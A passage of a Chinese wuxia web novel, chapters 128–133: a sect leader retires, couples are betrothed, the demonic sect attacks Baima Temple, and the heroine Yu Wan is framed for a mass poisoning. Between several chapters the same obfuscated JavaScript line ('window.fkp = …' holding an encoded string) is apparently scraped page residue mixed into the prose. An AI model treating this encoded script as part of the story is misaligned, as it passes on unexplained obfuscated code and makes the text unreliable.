豫蛇教内,众弟子跪坐在正殿中央,于婉、展平、昭相雪、枯恂四人则围坐在角落的偏桌上, 青菱师太正坐首席,向众人宣告道: “眼下,魔头骷魅已死,树倒猢狲散,魅影教再也掀不起大浪了,我也该把教主之位空出来,让给你们这些新人了。” “师傅,您这是什么意思,是我们哪里做得不好,惹您生气了吗”秦嫣柔略带哭腔,语气有些焦急,身后师妹亦俯语道:“师傅,不要离开我们啊,我们会听话的,以后绝对不会再惹您生气了……” 杜菱笑了笑,摇摇头,眼含泪光:“你们都是我的好孩子,怎会惹我生气呢。” “师傅,那是为何啊?” 杜菱看了看角落里的展平,满脸洋溢着幸福,接着她从主位上站起,问道:“你们知道,灵源师太,为何要对我行师礼吗?” 众人你看看我,我看看你,皆是一脸懵逼,摇摇头,不知何由。 杜菱道:“这得从十六年前说起,那时的我只是江湖上一个小有名气的侠女,一次意外,我从思过崖上坠落,崖高千丈,我本该至此摔死的,或许是我命不该绝,又或许是师祖显灵,我全身经脉寸断,但却尚存一息,在一条竹青灵蛇的照顾下,我活了下来…… 十六年前,杜菱从青州一山崖上摔下,倒在一片血泊中,骨骼寸断,却有一息尚存,就在她昏迷不醒时,一条长约一米的竹青灵蛇将她唤醒。醒来后的杜菱恐惧不已,但她身受重伤,动弹不得,除了与竹青灵蛇共处外,别无选择。所幸,竹青灵蛇并无恶意,相反,它还天天给杜菱带一些草药过来,或喂她内服,或外敷在她伤口上,很有灵性的一条蛇,半个月后,杜菱不仅伤势见好,身体也变得异常柔软。 又一个月过后,杜菱基本痊愈了,此时,她的身体已是伸缩自如,柔软如蛇。一个月的与蛇共处,更是从竹青灵蛇身上悟出一套功法来。但在用这功法爬出山崖时,始终是还没爬到半山腰,又落下山去,显然,杜菱的悟性并不算太高,并没有悟出这套功法的核心。 一日,竹青灵蛇突然变得异常躁动,总是无端拖咬杜菱的衣服,似乎想带她去一个地方,杜菱跟随竹青灵蛇走了许久,竟来到一处墓前。 这墓很普通,就是一个小土堆,外加一个石碑,四周全是野草、枯木,看起来,这墓很久没人来打扫过了,是个荒坟。墓虽然普通,可这埋葬的人可不寻常!细看这座荒墓,墓碑上刻着四个大字:“林琬之墓” 杜菱大惊:“林琬?豫蛇庵?” 没等杜菱缓过神来,那条竹青灵蛇便从一缝隙处,伸进了林琬墓中,半晌后竟咬着一本秘籍出来了。杜菱拿起秘籍一看,竟是失传已久的《白菱神功》!在好奇心的驱使下,杜菱翻开了第一页。只见上面赫然写着两行字: 此功凶狠非常,练功稍有不慎,便会经脉寸断,爆体而亡!后世有缘人若寻得此功,当谨慎练之。 此功万幻灵巧,平崖跨海无所不能,后世有缘人若练得此功,当是我白菱师太弟子,望阁下在脱困之后,能替我振兴豫蛇庵! 杜菱看后一想,如今小姐生死未卜,展兄也下落不明,而自己又受困崖底,不妨练此神功,说不定还真能摆脱目前困境。 没想到,这神功仿佛是为杜菱量身定做的,只两个月,她便练成了白菱神功,逃出了山崖,为报林琬恩情,她来到了豫州,加入了豫蛇庵,灵源师太知道她的遭遇后,立马将庵主之位让给了杜菱,这便是广为人传的,只一周,便从门徒升为掌门的妙事。 “如今豫蛇教也算得上名门大派了,我想,我应该已经完成了师祖她老人家的夙愿了,孩子们,请原谅我的自私,余生,我想走走自己的路。” 一些弟子任是不舍,还欲挽留,但事实上,她们都清楚,美好的宴席,终会有散去的那天,离别在即,免不了伤心落泪。 杜菱走到秦嫣柔身边,将她扶起:“好了,柔儿,从今天起,你就是豫蛇教的首席了,别动不动就哭。”一边说着一边替秦嫣柔擦拭眼泪。 “别担心,有机会,我会回来看你们的,到时候,你们可不能忘了我这个师傅啊。” 秦嫣柔听了这话,立马跪拜道:“一日为师,终生为师,您永远是我们的师傅。”身后师妹们也整整齐齐跪拜道:“一日为师,终身为师,您永远是我们的师傅” 大会散去,杜菱将一些人约至书房闲谈。 杜菱拉着江雨潇对枯恂说道:“枯恂,别以为潇儿跟你去了凌云谷,你就可以肆意欺负她了,我跟你是说,你要是敢欺负潇儿,别说你师傅孤殇救不了你,就算是谷月清亲自出面我也会拆了你们凌云谷。” “你们别打趣了,潇儿不欺负我就好了,我哪有能耐欺负她啊。” 于婉闻言立马补起刀:“你能耐可大了,潇姐,你可千万别被他这老实憨厚的表象给骗了,我在凌云谷时,大家都很疼我,就他天天找我麻烦。” 江雨潇听了这话,立马朝枯恂背部拍去一掌:“于姑娘这么可爱,你居然敢欺负她,说,真的假的?” “嘿,小师妹,你可不能歪曲现实啊,我记得有一次,你偷采杜冥的鱼鳞草,被他发现,关在地窖里,是我和大师兄跪了三天三夜才把你给放出来的啊。”枯恂手舞足蹈的辩解道。 于婉定睛想了想,面色更怒:“我想起来了,你还好意思说:“明明是你想偷鱼鳞草,我只是在外面替你把风而已,没想到杜冥那臭老头儿抓不到偷药的,把我这个望风的给抓了。” 众人听罢大笑起来。 众人笑过之后,杜菱缓了缓脸色,问道江雨潇:“潇儿,你真的想好了吗?真的要跟这个臭小子去凌云谷吗?” 第一百二十八章 新的征途 江雨潇看向枯恂,笑着点点头。 昭相雪道:“江姑娘,要不再考虑考虑,你不是说过,你在豫蛇教师祖白菱师太灵位前发过誓,此生要嫁给天底下最好的男人吗?我看,枯兄的武功好像很一般嘛。” 枯恂大惊,朝昭相雪使了个鬼脸:“昭兄,你怎么也坑我,不带这么玩儿的啊。” 昭相雪回怼道:“谁叫你欺负我媳妇儿。”一边说着,也回了个鬼脸。 于婉一脸娇羞:“谁是你媳妇儿啊,我还没想好呢。” 江雨潇道:“枯恂,我确实说过要嫁给天下最好的男人,可从没说过要嫁给天下武功最好的男人!除了我师父,这世上,就你对我最好,所以,我嫁你” 枯恂激动道:“真的?潇儿?我不是在做梦吧?” 江雨潇再点了点头,两人紧紧拥抱在一起。 围观的吃瓜群众,亦是一脸欣慰。 杜菱转身再问道:“婉儿,你呢?你到底想好了没有?若是难下决断,不妨跟着我和你展叔,周游天下,边玩边想。” 于婉摇了摇头:“我早已决定好了,余生,昭大哥去哪儿,我就去哪儿。” 昭相雪道:“婉儿,余生,我永不负你。”话罢,两人亦紧紧拥抱在一起。 展平道:“婚姻大事可不是儿戏,你们两位姑娘,可得慎重决定啊”一边说着,一边搂紧了身边的杜菱。 不料,杜菱却推开展平,顺势说道:“没错,我看,我也得慎重决定我的婚姻大事,可不能就这么稀里糊涂的嫁了。” 展平一下急了:“哪儿稀里糊涂了,我对你的感情,数十年来,一如往昔,可从未变过半分啊!” “数十年来,一如往昔?既然如此,这十几年来,你一直不来找我?” 展平喝口茶,开始闲话往事: 当年,我与弟兄们为了掩护你和小姐撤退,孤军奋战,非死不休,最终,只拖延了一个时辰,咱们便全军覆没了。 那时,我身中数十剑,绝望的倒在血泊之中,心中所想,不是对死亡的恐惧,而是想着,你与小姐是否已然逃出生天,脱离险境,没过多久,我便力不能支,昏死过去,我还以为,我的一生就这样完了…… 当我再睁开眼时,发现自己躺在一张旧床上,正纳闷间,一位老先生走近,递给我一碗汤药,在他的照顾下,我的伤势渐渐愈合,身体渐渐好转。 那位老先生告诉我,百年前的魔教现已复辟,中原武林岌岌可危,接着他教给我一套剑法,并让我前往乌桓,加入魅影教,做他的内应。他还叮嘱我,不到危急存亡之时,万不可使用那套剑法。 杜菱道:“那套剑法,就是《凌空剑法》?” 展平点点头。 杜菱又道:“所有,这十几年来,你只顾着拯救苍生,就没想过找我吗?” 展平急了:“我想过啊,伤好之后,我立马去打探了你的消息,可他们都说你坠崖死去了,小姐也不知了踪迹。” 杜菱道:“他们说我死了,所以你就真信了?你就这么把我放弃了?” “我当然不信!这十几年来,我虽然加入了魅影教,蛰伏其中,但我一直在寻找着你的踪迹,再见你时,是在豫蛇教的山脚之下,你戴着墨青面纱,只露出一双眼睛。看着那双眼睛,我彷徨犹豫了好久,我怎会想到当年那个稚嫩瘦弱的女子,会成为今日名震武林的青菱师太!” “菱儿,咱们再也别分开了好吗?”展平再次牵起杜菱的手,一把拉近身前,吻向她额头。 …… 众人缠绵许久后,吃过午饭,正要上路时,昭相雪将展平叫住。 “展叔,能问你个事儿吗?” 展平回头一看,和善一笑:“小昭啊,但说无妨?” “展叔,你蛰伏魅影教多年,不知,你是否认识一个叫顾邪的人。” “魅影御守使顾邪?”展平脸色瞬变:“他可不是善茬,没什么事儿,你最好不要招惹他。” 昭相雪尴尬一笑:“我听说,那位御守使常年在中原活动,害死了很多中原侠客,剑阁前任阁主章云,百药宗前任宗主杜悬都是他害死的,是真的吗?” 展平顿了顿,叹息两声:“哎,这些,都是陈年往事了。” “我是十七年前加入魅影教的,而那时,顾邪已经当了很多年魅影御守使了,传闻,顾邪每隔五年便会前往中原一次,没人知道他去做了些什么,只知道,他每次前往中原,中原武林便会有一个门派遭遇变故。” “展叔,可以告诉我,中原武林发生了哪些变故吗?” 展平点点头:“剑阁:阁主章云暴毙、弟子章玄、李御风反目;豫蛇教:惠恩师太十指断去八指,武功全废;白马寺:大弟子秋殇一叶误杀晋阳徐氏满门,自知罪孽深重,遁入俗世;百药宗:杜悬死于剧毒,百药宗分裂成药、毒两门;这些都是往事儿,具体发生在哪一年,我也记不清了。我刚加入魅影教那一年,御守使正好从中原回来,那一年,凌云谷前任谷主叶述归隐,谷月清接任新谷主,不知是否与他有关。” “那一年他在中原?或许,我娘的死,真的与他有关。” 展平轻轻拍了拍昭相雪肩膀,接着说道:“自那以后,御守使便形同虚设了,顾邪只居其位,并不谋事,教中事务皆不参与,听说,他云游四方去了,十多年来,再未露过面,想来,他也一把年纪了,许是死在外面了吧。” “他很老吗?” 展平点点头:“若他现在还活着,估摸着,得是耄耋之年了。” 昭相雪道:“不管他是死是活,我都要找出我娘的死因。” 这时,杜菱走近:“杀人偿命,欠债还钱,道理我们都懂,但江湖险恶,防不胜防。我最多给你五年时间,五年之后,不管你查没查清你娘的死因,我都希望你能带着婉儿,远离江湖” “好,我答应你,我一定会照顾好婉儿的。” “好,我信你。”展平与昭相雪击拳为誓,接着,四下散去,踏上了各自的征途。 第一百二十九章 雪崩前夕 司州、白马寺: 天色渐暗,守门的僧人正要关门,突然被一只手拦住。 “两位门主,您们怎么来了。”见是百药宗杜冥、杜济来访,僧人将大门打开,恭敬行礼。 “也不是什么大事,来拜访拜访秋殇长老与浮生方丈罢了,不知现在,是否方便?” “当然,两位门主请进。” 一小僧带着两人穿过前院,往偏院走去。 “两位门主请用茶,我这就去请师傅他们来。” “多谢” 片刻后,秋殇一叶与浮生一花同时来到偏院。 秋殇一叶上下打量了一番杜冥、杜济,问道:“两位门主,神色为何如此慌张?何事惊扰?” 杜冥关上门,疾步走近:“此事即为复杂,我与师兄难下绝断,遂想向白马寺求助。” 浮生一花:“但说无妨。” 杜济喝了茶,缓缓神,接着说道:“xx崖上,多亏于姑娘给的剧毒,咱们才杀死了魅影教的魔头,我一直再想,于姑娘从哪儿得来的剧毒。” 秋殇一叶大笑道:“这算什么事儿,于姑娘不是说了嘛,那毒,是她从山万蛇身上提炼出来的,江东毒雾遍地,毒蛇猛兽横行,抓条山万蛇,应该不费力吧。” 杜冥:“当然,抓条山万蛇对习武之人而言,并不难。但你们不觉得这事很巧吗?当日,我们刚开始商讨如何击杀骷魅,接着于姑娘便拿来了山万蛇毒,还说是昨晚无意中抓到的,有这么巧吗?” 秋殇与浮生方丈一脸懵逼:“巧是巧,但,也没什么不妥吧?” “当然有,难道,你们忘了五十年前,毒绝天下的慕容顾了吗?” 闻言,众皆骇然。 这时,杜济小心翼翼的从包裹中拿出一块破布,破布之上,沾满了鲜红的血液:“这块布,是之前于姑娘颈部受伤时,我替她包扎所用的,上面的血,全是她的。” 杜冥接着说道:“这上面的血,我验过了,沾满了山万蛇的剧毒。” 秋殇道:“说起来,当年慕容顾虽然死了,但他的儿子慕容钧却只是归隐了,数十年来一直没个音讯,咱们只知道于婉的娘是鲜卑人,却不知道她的爹是何许人。” 浮生道:“我倒是觉得,当年的往事都已经翻篇了。于姑娘师从凌云谷,草野之战上,她独战魅影右使,林木崖上,也是她献的毒,咱们才能杀掉魔头骷魅,就算她真是慕容顾的后代,她也没有干危害武林的事,我看,还是算了吧” 秋殇道:“血汗深仇,岂能不了了之,当年我年幼,不能亲手杀掉慕容顾,若于姑娘真是慕容顾的后代,我绝不会善罢甘休。” 杜冥道:“秋殇大师说得对,江山易改本性难移,当年,师傅他们放掉看似乖巧无害的慕容妍,可她是怎么对我们的?凌云谷下,毒杀谷主普枫大师,之后更是教唆凌云谷大弟子顾云公然与武林为敌,如今的局势,像极了当年。” 杜济道:“当年,顾大侠英雄盖世,替中原武林除去毒绝天下的慕容顾,他日,本该掌管凌云谷,成为中原正派首席的,然而,终究是英雄难过美人关,为了慕容妍一人,竟要与整个武林为敌,如今,昭少侠英雄盖世,草野之战,凭一己之力,救中原武林于水火,假以时日,亦当是中原正派首席,若于婉真是慕容顾的后代,将当年那幕重演,中原武林又不知要掀起多少腥风血雨。” 浮生叹息数声,难敌众口,退步道:“于姑娘身世如何,还未可知也,明日,我亲自前往凌云谷询问于姑娘身世,之后,咱们在做商议吧。” 话音刚落,屋顶传出瓦片裂开之声,似乎有人在屋顶偷听。 “谁?”秋殇一边惊问,一边施展轻功撞破屋顶,飞到上面,浮生、杜冥等人,则迅速推开门,查看院外异常。 此时天色已黑,外面乌漆嘛黑的,只见一个黑影快速闪过,秋殇紧追其后,浮生恐其有失,也赶紧跟上。追了许久,终究没能跟上,只得不了了之。 “师弟,你觉得,那人会是昭相雪吗?” 浮生道:“昭相雪乃是侠义之士,断不会做此偷鸡摸狗之事,况且,他的轻功也没这么好。” 秋殇点点头,若有所思。 …… 那团黑影一路疾行,在山间一处小亭处停下,亭子里,有一个黑衣人坐在石凳上等着他。夜色太浓,同样看不清脸,不过听他是声音,到像是个岁数很大的老人。 那老人问道:“如何,杜冥、杜济千里迢迢来到白马寺,都说了些什么啊?” “他们怀疑,凌云谷的那位于婉姑娘,是慕容顾的后代,明日,浮生方丈会亲自动身前往凌云谷,查探于婉姑娘的身世。” “有意思,昭相雪他们呢?” “好像,在徐州。” “徐州?想办法,把他们引到司州来,另外,飞鸽传书告诉徐维,让他带着教中精锐,千里奔袭,速来司州!对了,叫上妍儿。” “师傅,您的意思是?” 那老者冷哼一声,冷冷的说道:“白马寺屹立百年,该有一劫了。” …… window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百三十章 血劫 冀州一客栈: 于婉:“昭大哥,咱们真要去乌桓啊,就咱两?” 昭相雪:“对啊,就咱两,别怕,有我在呢,我会护你周全的。” 于婉拍了昭相雪一掌:“说什么呢,我也不弱好吧。” 昭相雪装作受重伤的样子,示弱道:“哎,你不弱就不弱,打我干嘛,很痛哎。” “真的?很痛吗?我没用力啊,真的很痛吗?我给你揉揉吧。” “揉揉,揉揉。” 于婉轻轻的揉了揉,趁其不备却突然发力,猛地掐了一下。 “啊,痛痛痛,错了错了。” “痛就对了,叫你欺负我。” 正话间,一小二过来问道:“客官,本店后院有一温泉,入住本店可免费泡温泉,二位有兴趣了解下吗?” “泡温泉?好啊好啊。” 两人将随身行李托管给客店,温泉泡得正爽,一店员高喊道:“抓小偷,抓小偷啊!” 昭相雪立马穿好衣服追了出去,此时,于婉也穿好衣服追出。 “店家,我们的行李呢?” “被一贼人偷走了,我已经差人出去追了。” “我去,我的手镯、耳环全不见了!” “什么手镯、耳环?不会是我送你的那个手镯吧!” “还能有哪个手镯,耳环也不能丢,那可是我娘的遗物啊!” “你别急,我一定给你找回来!”话罢,昭相雪飞速追了出去,于婉也没闲着,赶紧跟了上去。 两人毫无头绪,绕着周围街道找了许久,小偷确实抓到两个,不过并没找到丢失的耳环与手镯。 正郁闷时,两人走到一当铺前。 “来都来了,进去碰碰运气吧。” 两人走入店中,瞧瞧逛逛,竟真看到丢失的手镯。 “老板,这手镯哪儿来的?” “手镯啊,这手镯,好像是上个月进的货,放了好久了。” 于婉一脸怒色:“你放屁!这手镯到底哪儿来的,老实交代,小心我带你去见官!” 老板惊慌失措,声音低颤了些:“冤枉啊,刚才有个乌桓人,拿着这手镯来当钱,我也没多想,就收下了。” 昭相雪:“只有这手镯吗?还有对耳环呢!” “耳环?耳环它……” 于婉:“耳环呢!快拿来!” “刚来了个商人,给买走了,看打扮,好像是司州来的。我看他还拿了些本地特产,估计是要回去了吧。” 昭相雪看了看手镯,递给于婉:“收好,别再丢了。” 于婉点点头。 “你要是敢说谎,我饶不了你!”昭相雪恶狠狠的盯了老板一眼,留下一两黄金后离开。 两人收拾好行李,往司州赶去。 两天后,司州,白马寺: 白马寺前,二十多位身着黑青长袍的神秘人整整齐齐的立在寺门口。 大门徐徐开启,数百位僧人从寺内涌出,二话不说,立马将这群神秘人团团围住。接着,秋殇一叶从人群中走出:“哪里来的狂徒,敢来白马寺撒野!” 秋殇仔细一看,为首之人他认识:“魅影教大长老,钦铉?” “对,但不全对,在下乃是魔教左使——钦铉。” 秋殇大笑起来:“哈哈哈,算你们识相,终于知道自己是魔教。” 钦铉亦大笑起来:“正邪可不是名字决定的,就好像你秋殇一叶,名字取的端正雅丽,行起事来却凶辣狠毒,若不深入了解,谁会知道晋阳徐氏一家二十五口人,有二十四口都死于你手呢!” 秋殇闻言大惊,看着手中禅杖,沉默许久。 钦铉道:“你们欠魅影教的债,会由我们魔教,一一收回!”话罢,提起斧钺杀向秋殇。 秋殇禅杖一震,毫不示弱,地下蛟龙飞出直击钦铉。 钦铉挥斧一砍,一巨斧从兵刃中飞出,与那蛟龙缠斗,最终两相消散。 接着,斧杖相接,秋殇与钦铉缠斗三十多回合,两方愈战愈勇,胜负不分!随着两人功力投入的加大,周围气压亦逐渐增强,白马寺与魔教的弟子不堪功压,皆徐徐向后退去。两人打斗的场地越来越大,越来越大。 两人又打了二十多个回合仍是胜负难分,但天上却不知何时起,布满了乌云,云层中,电闪雷鸣,响声震地。 响了没多久,一条雷龙破空而出,直击钦铉! 钦铉大惊,显然,这条雷龙乃是秋殇一叶施展渊龙杖法第九重召唤出来的,只是,秋殇不是一直在和自己短兵相接吗?他是什么时候施的法?为何自己毫无印象! 原来,秋殇一叶见两人武艺相近,再打一百回合也是胜负不分,索性改了战术,从第十回合起,便偷偷将渊龙杖法第九式的招法运用于打斗中,四十多回合后,总算施展出完整的渊龙杖法来,虽然只是第九层,但也足够了。 当下,雷龙啸天,直击钦铉,这一招法威力并不大,但却能拖住钦铉,让秋殇施展威力巨大的渊龙杖法第十层! 钦铉挥动斧钺,朝那雷龙猛砍,几十道斧灵冲向那雷龙,耗了大量内力,总算将那雷龙杀散。然而,就在钦铉疲于防守之际,秋殇已施展出更强杀招。 “渊龙杖法第十层——临渊祭天!” 天空中的阴云、惊雷比起刚才更多,更猛!龙吟几声后,雷电与乌云交杂在一起,化作一条巨大的蛟龙,长啸一声,再次飞向钦铉。 “阿弥陀佛。”秋殇闭上眼,施了佛礼,往回走去。 胜负已分,凭钦铉现有的内力,即使加上他全部元气也绝挡不下秋殇这一击。 只听轰隆一声巨响,钦铉面前突然出现一男子,估摸着有三十七、八岁,黑青长袍,肌肉健壮,施出一面高宽各八丈的巨盾将那巨龙挡下! 场上众人皆大惊失色,秋殇尤其惶恐,渊龙杖都拿不稳了,浑身瘫软,倒在地上,倒不是惊讶自己的功法被人挡下,而是那位神秘男子的巨盾,他太过熟悉,三十六年前,他曾见过! 巨龙继续向前撞击,最终,竟被那面巨盾完全抵散! 众僧徒快步上前扶起秋殇,问道那神秘男子:“来者何人?报上名来。” 那神秘男子收起功法,巨盾消失,冷言道:“魔教三长老——徐维” 钦铉凑近身旁,小声说道:“被扶着的那个和尚便是秋殇一叶!” 徐维瞬间杀气布身,怒火中烧,握拳指向秋殇一叶:“秋殇一叶!三十六年前的灭族之仇,该还给我了!” 此时的秋殇浑身瘫软乏力,完全没有战意,刚才那面巨盾,勾起了他那不堪回首的往事: window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百三十一章 瑟瑟秋殇 三十六年前,雍州晋阳: “第几对了?” “好像是第三对,你说,到底是谁啊!这也太变态了,用盾牌杀人!?亏他想得出来!” “死得都是情侣,到底是何仇何冤啊!” “哪有什么冤仇,怕不是受了情伤,出来报复社会来了!” “让我抓到是谁做恶,非宰了他不可。” “别别别,晦气,千万别让我遇见他,我可不想早死!” “你怕啥,你万年老光棍,这魔头杀的是情侣,你肯定安全!” …… 一桥上,众人在一对情侣尸体前议论纷纷,情侣身上有伤口,但淤血很重,伤口口径与小型盾牌相仿。 “让开让开!”很快,一队官兵赶到,将现场封锁,捕头细查线索,毫无头绪:“哎,白马寺高僧,秋殇一叶不是在此云游嘛,要不请他来瞧瞧!” 很快,一少侠来到案发现场,少侠二十多岁,器宇轩昂,一身英气,此人便是秋殇一叶。 秋殇仔细勘探现场,凶器确实为一块小型盾牌,而作案地点却并非此处,且死的虽是一男一女,但并非一对情侣,极有可能,死的两人,互相可能毫不相识,他们皆是从别处拖来此处抛尸的,死亡时间差了个多时辰不止。 一时间,晋阳人人自危,到了夜晚,无论男女,皆不敢独自上街。 接下来,便是引蛇出洞了,秋殇乔装成书生,故意在深夜出来喝酒,佯装喝醉,靠在街角睡下。 很快,真凶上钩了,那凶手穿着夜行衣,面巾遮脸,看不见真容,使一面小型盾牌,两人话不多说,立马缠斗起来, 凶手招式普通,出招却极快,秋殇施展浑身解数,却也只胜得半招半式! 乘着夜色,凶手抓住破绽,悄然退去,秋殇自是不依不饶,紧紧追上,直到郊区一院落,院门写着四个大字:徐氏山庄。 秋殇思虑片刻,推门而入。 步入大院,只见数对男女的尸体躺在地上,秋殇一脸怒色,恰此时,一阵笛声传出,二十多人发了疯一般,提盾杀出…… 那一夜,刀盾相接之声此起彼伏,最后,秋殇提剑走出徐宅,宅中平静躺着数十具尸体,秋殇杀了很多人,杀到最后,全身颤抖,人都站不稳了。 刚出徐宅,一黑衣人戴着铁皮面具坐在对面石亭里。 “晋阳徐氏,世代以铸铁为生,山庄上下一共才二十五人,你杀了整整二十四个!呵,名门正派啊,名门正派啊!有趣,着实有趣!” 秋殇有些疲乏,一边喘气一边怼道:“替天行道罢了,肆意杀人者,人恒杀之” “肆意杀人?”黑衣人笑了笑:“你是在说我吗?”话罢,黑衣人拿出一面小型盾牌来。 “那些男男女女皆死于我手,另外,这瓶药名曰乱魂散,心智不坚者闻之,听见笛声即杀心大发。所以,你杀的那些人,不过是中了乱魂散的无辜铁匠罢了。” 细看那黑衣人,铁皮面具上的纹路极其熟悉,与益州山野间杀害洛寻依、洛寻天的凶手所带面具,几乎一模一样…… 徐维看着秋殇,怒火中烧:“秋殇!三十六年前,你屠我全家上下二十四口!血债血偿!拿命来!” 徐维挥掌猛击秋殇,秋殇竟毫不躲闪,以血肉躯体接下。 秋殇看着徐维,分外悔恨:“对不起。”接着手掌一抬,猛一用力,朝自己头部拍去…… 佛家讲究因果,此事,罪在秋殇,有此果报,倒也怪不得旁人。 秋殇倒在血泊之中,随后,一位戴着墨青面纱的神秘女子出现,看耳饰,似乎是于婉! 那女子使出血雾大法,白马寺弟子疯狂逃窜,中此毒雾者,走了三五步便倒地不起,症状如中山万蛇毒一般。 施法途中,女子一边的耳饰落在地上,但女子并未惊觉,施展轻功离开,白马寺僧众死了一半,逃了一半,徐维等人并未赶尽杀绝,也施展轻功离开。 大概过去半天,浮生带着残余僧众回到寺中。 浮生将秋殇从血泊之中扶起,目光一扫,她捡起一枚耳饰,耳饰做工精细,且极其显眼,江湖人人皆知其主,正是于婉弄丢的那款耳饰! “是于婉,是她施展的血雾杀阵!” 杜济、杜冥验了验地上毒血,得出同一个结论:山万蛇毒。 “山万蛇毒?慕容氏,毒绝天下慕容氏!来人,发江湖集结令,速请各大派来白马寺集合。” 蔡彧道:“如今白马寺遭此劫难,元气大伤,我看还是去我空涧庄吧。” window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百三十二章 毒 于婉:“你说,这公孙大哥都归隐了,怎么魅影教还不消停啊!” 昭相雪:“按理说,树倒猢狲散,难不成,魅影教来了颗更大的树?” “更大的树?不会吧,还有比公孙大哥还强的?” “有啊,传说中的那位御守使。” “别别别,公孙大哥可是说过,若御守使出马,中原武林可没人挡得住他。” 昭相雪:“未必吧,你们凌云谷不也有位隐世高人嘛!” “叶师祖?”于婉笑了笑:“也是,草野之战若是叶师祖在,任他十个御守使也伤不了叶师祖半分。” “是是是。”昭相雪:“好了,咱们进去吧,也不知前辈们商量出对策没。” 于婉:“哪用商量什么对策,他们居然敢对白马寺下手,太放肆了,这一次,咱们一定要彻底灭了魅影教。” 两人说说笑笑,走进正在召开武林大会的空涧庄。 “拿下!” 蔡彧一声令下,左右弟子迅速上前,将于婉、昭相雪两人押住。 昭相雪一脸茫然:“蔡庄主,你这是何意?” 浮生道:“昭少侠,此事与你无关,你切莫多管。” 于婉:“与他无关,你们绑他干嘛啊,还有,绑我干嘛啊,赶紧松开,否则别怪我不客气!” 吵闹间,浮生取出一耳饰。 “婉姑娘,这耳饰,你可认识?是你的吗?” 于婉仔细看了看,满眼欣喜,点点头:“没错,这耳饰确实是我的,怎么在你这儿啊” 浮生瞬间暴怒:“押下去。” 紧接着,于婉在抗议中被押送下去。 昭相雪见状正要施法反抗,蔡彧及时制止,将前因后果告知昭相雪。 “不可能,婉儿这些天一直跟我在一起,她绝不可能通敌,这耳环,一周前便已丢失,一定是有人蓄意构害。” 蔡彧道:“昭少侠勿急,我夫人正在细查此事,定会还你们一个公道的。” 杜济道:“清者自清,昭少侠,婉姑娘若行得正坐得端,应该不怕被查吧。” 杜冥冷讽道:“慕容氏的后代,还有行得正坐得端的?” 昭相雪亦不示弱:“杜冥前辈,我敬你是武林前辈,凡事,说清楚的好,可别血口喷人!” 当下昭相雪态度十分强硬,众人不敢多话,只等林奕湘调查结果。 晚饭后,众人前往偏殿,询问调查结果。 刚来到偏殿外,只听殿内传来阵阵打斗声,众人推门一看,只见林奕湘嘴角渗血,于婉从一密道逃走。 蔡彧大喝道:“站住!” 众人快步走入偏殿,浮生带人追入密道中,杜济则替林奕湘把脉疗伤。 片刻后,杜济摇摇头:“是山万蛇毒,没得救了。” 蔡彧扬天怒吼道:“于婉,我跟你不共戴天!” 紧接着,蔡彧发布悬赏令,重金追杀于婉,同时亦与浮生汇合,全力追捕逃走的于婉。 杜济:“林夫人肯定是审出了什么对她不利的消息,才遭此毒手” 杜冥:“我早说过,慕容顾的后人,没一个好东西!” 昭相雪任不相信:“事情还没查清楚,各位前辈还请不要妄议。” 蔡彧:“还有什么好查的,昭相雪,我亲眼看见我夫人死在我面前,还能有冤情不成!” …… 追了两三个时辰,最终在崖边下发现于婉。 此时的于婉满身鞭伤,已然昏死过去,看伤口形状,与林奕湘的辫子口径极其相似! 杜冥道:“还有什么好说的,这辫伤,不正是与林夫人交战的证据嘛!” “杀了她,杀了她!”面对如此“铁证”,一些弟子起哄道。 蔡彧怒火中烧,拔剑杀向于婉,危难关头,昭相雪挺身而出,挡在于婉身前,以血肉之躯,接下那剑。 蔡彧自诩正派,自不会滥杀无辜,当下只得停剑收手。 “昭少侠,你这是何意?难不成,你要为了那个杀人不眨眼的女魔头,与整个武林为敌?” window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百三十三章 赌上所有 当下,昭相雪挡在众人中间,灵力外露,震慑着在场每一个人。 “蔡庄主言重了,在下认为,此事蹊跷的很,当中必然有误会,希望各位能够保持理智。” “理智?你夫人杀了我夫人,我不跟你计较已算理智,难不成,你还要我放了你夫人不成!” 一些僧人亦怒骂道:“于婉大肆毒杀咱们白马寺僧人,此仇不共戴天!”“杀于婉!报血仇!”“杀于婉!报血仇!” 昭相雪回头看了看后方,苦苦一笑:“我相信婉儿,她绝不可能与魔教同谋,确实,白马寺的僧人大半死于山万蛇之毒,这是事实,但你们谁也没看清楚那位施毒女子的脸,你们如何确定她就是于婉?” 空涧庄一弟子道:“天下谁人不知于婉善施山万蛇毒,况且,除了她,还有谁会施展如此阴狠的毒攻?” 蔡彧道:“于婉叛入魔教已是事实,昭相雪,你百般阻拦,难不成是要与天下所有正派为敌!” “正派?说到底,于婉叛入魔教,不过是你们的猜测罢了,凭着莫须有的猜测,便要置人于死地,孰正孰邪,我竟也开始恍惚了。” “大胆,昭相雪,你狂妄!”蔡彧摆下琴,正要拨弦开打,一人从后走出,拦住蔡彧——凌云谷谷主谷月清。 苏起、枯恂、江雨潇亦紧随其后。 枯恂道:“你们如此欺负我小师妹,可有证据!” 